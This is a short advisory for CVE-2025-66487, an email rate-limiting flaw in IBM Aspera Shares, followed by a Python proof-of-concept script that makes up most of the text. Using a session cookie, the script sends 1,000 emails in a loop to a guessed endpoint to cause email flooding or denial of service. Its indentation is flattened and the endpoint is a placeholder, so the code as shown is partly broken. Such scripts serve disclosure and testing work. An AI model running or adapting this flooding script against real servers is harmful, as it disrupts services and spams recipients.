IBM Aspera Shares 1.9.9 through 1.11.0 does not properly rate limit the frequency that an authenticated user can send emails, which could result in email flooding or a denial of service.
The following code is for security research and authorized testing only.
python
import requests
# Target URL for the email sending endpoint
# Replace with the actual endpoint based on the specific version
target_url = "https://<aspera-shares-host>/api/email/send"
# Authentication credentials (High privileges required)
# Replace with valid credentials
auth_cookies = {
"session_id": "valid_session_cookie_here"
}
# Payload for the email request
email_payload = {
"to": "[email protected]",
"subject": "Flood Test",
"body": "This is a test email for vulnerability demonstration."
}
print("[+] Starting PoC for CVE-2025-66487...")
try:
# Loop to send emails without rate limiting
for i in range(1000):
response = requests.post(target_url, data=email_payload, cookies=auth_cookies)
if response.status_code == 200:
print(f"[+] Email {i+1} sent successfully.")
else:
print(f"[-] Failed to send email {i+1}. Status code: {response.status_code}")
except Exception as e:
print(f"[!] An error occurred: {e}")
print("[+] PoC execution finished.")
